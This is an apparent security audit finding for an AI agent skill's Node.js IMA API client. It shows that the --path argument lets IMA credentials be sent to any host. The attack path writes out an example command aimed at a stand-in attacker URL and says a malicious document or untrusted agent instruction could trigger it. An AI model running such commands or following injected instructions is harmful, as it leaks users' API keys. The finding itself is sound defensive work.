T09 · Insecure Skill Coding Practices
- Location
scripts/ima-api.cjs:96- Finding
IMA API credentials can be transmitted to an attacker-controlled host
- Content
View full analysis
{ const req = (httpOpts.port === 443 ? https : http).request(httpOpts, async res => { ``` ### Technical Analysis The generic Node.js API client accepts `--path` from the command line. Although the documented value is an IMA API path, the implementation treats any value beginning with `http` as an absolute URL. The hostname from that URL is copied directly into the request options without checking that it equals `ima.qq.com`. The client simultaneously attaches the locally loaded IMA client ID and API key to every request. Consequently, an absolute attacker-controlled HTTPS URL receives both authentication headers. This violates the documented security boundary stating that IMA credentials are sent only to `ima.qq.com`. It also creates inconsistent transport behavior for explicit non-default ports because protocol selection is based on the port rather than `urlObj.protocol`. ### Attack Path 1. The victim has valid credentials in environment variables or under `~/.config/ima/`. 2. An attacker, malicious document, or untrusted Agent instruction causes execution of a command such as: ```bash node scripts/ima-api.cjs \ --path "https://attacker.example/collect" \ --body '{"action":"test"}' ``` 3. `loadCreds()` obtains the victim's IMA client ID and API key. 4 ...[truncated 864 chars]- Remediation
View remediation
